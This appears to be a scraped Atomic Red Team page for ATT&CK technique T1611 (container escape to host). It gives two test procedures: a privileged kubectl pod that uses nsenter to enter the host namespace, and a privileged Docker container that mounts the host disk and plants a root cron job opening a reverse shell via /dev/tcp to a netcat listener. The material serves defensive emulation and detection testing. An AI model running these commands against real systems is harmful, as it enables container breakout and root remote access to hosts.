T1611 - Escape to Host

Description from ATT&CK

Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask) Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers running on the host, or setting up a command and control channel on the host.

Atomic Tests


Atomic Test #1 - Deploy container using nsenter container escape

In this escape 

1

kubectl
is used to launch a new pod, with a container that has the host pids mapped into the container (
1

hostPID:true
). It uses the alpine linux container image. It runs with privilege on the host (
1

privileged:true
). When the container is launched the command 
1

nsenter --mount=/proc/1/ns/mnt -- /bin/bash
is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:

Supported Platforms: Containers

auto_generated_guid: 0b2f9520-a17a-4671-9dba-3bd034099fff

Attack Commands: Run with 
1

sh
!

1

kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'

Cleanup Commands:

1

kubectl --context kind-atomic-cluster delete pod atomic-escape-pod

Dependencies: Run with 
1

sh
!

Description: Verify docker is installed.
Check Prereq Commands:
1

which docker
Get Prereq Commands:
1

if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi
Description: Verify docker service is running.
Check Prereq Commands:
1

sudo systemctl status docker
Get Prereq Commands:
1

sudo systemctl start docker
Description: Verify kind is in the path.
Check Prereq Commands:
1

which kind
Get Prereq Commands:
1
2
3

curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
chmod +x ./kind
mv kind /usr/bin/kind
Description: Verify kind-atomic-cluster is created
Check Prereq Commands:
1

sudo kind get clusters
Get Prereq Commands:
1

sudo kind create cluster --name atomic-cluster
Description: Verify kubectl is in path
Check Prereq Commands:
1

which kubectl
Get Prereq Commands:
1
2
3

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x ./kubectl
mv kubectl /usr/bin/kubectl



Atomic Test #2 - Mount host filesystem to escape privileged Docker container

This technique abuses privileged Docker containers to mount the host’s filesystem and then create a cron job to launch a reverse shell as the host’s superuser. The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell.

Supported Platforms: Containers

auto_generated_guid: 6c499943-b098-4bc6-8d38-0956fc182984

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | mount_device | Path to the device of the host’s disk to mount | path | /dev/dm-0| | mount_point | Path where the host filesystem will be mounted | path | /mnt/T1611.002| | cron_path | Path on the host filesystem where cron jobs are stored | path | /etc/cron.d| | cron_filename | Filename of the cron job in cron_path | string | T1611_002| | listen_address | IP address to listen for callback from the host system. | string | 

1

ifconfig eth0 | grep inet | awk '{print $2}'
| | listen_port | TCP Port to listen on for callback from the host system. | integer | 4444|

Attack Commands: Run with 
1

sh
! Elevation Required (e.g. root or admin)

1
2
3
4
5
6
7

if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename}
netcat -l -p #{listen_port} 2>&1

Cleanup Commands:

1
2
3

rm #{mount_point}#{cron_path}/#{cron_filename}
umount #{mount_point}
rmdir #{mount_point}

Dependencies: Run with 
1

sh
!

Description: Verify mount is installed.
Check Prereq Commands:
1

which mount
Get Prereq Commands:
1

if [ "" == "`which mount`" ]; then echo "mount Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [ -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount installed"; fi
Description: Verify container is privileged.
Check Prereq Commands:
1

capsh --print | grep cap_sys_admin
Get Prereq Commands:
1

if [ "`capsh --print | grep cap_sys_admin`" == "" ]; then echo "Container not privileged.  Re-start container in insecure state.  Docker: run with --privileged flag.  Kubectl, add securityContext: privileged: true"; fi
Description: Verify mount device (/dev/dm-0) exists.
Check Prereq Commands:
1

ls #{mount_device}
Get Prereq Commands:
1

if [ ! -f #{mount_device} ]; then echo "Container not privileged or wrong device path.  Re-start container in insecure state.  Docker: run with --privileged flag.  Kubectl, add securityContext: privileged: true"; fi
Description: Netcat is installed.
Check Prereq Commands:
1

which netcat
Get Prereq Commands:
1

if [ "" == "`which netcat`" ]; then echo "netcat Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi
Description: IP Address is known.
Check Prereq Commands:
1

if [ "#{listen_address}" != "" ]; then echo "Listen address set as #{listen_address}" ; fi
Get Prereq Commands:
1

if [ "" == "`which ifconfig`" ]; then echo "ifconfig Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi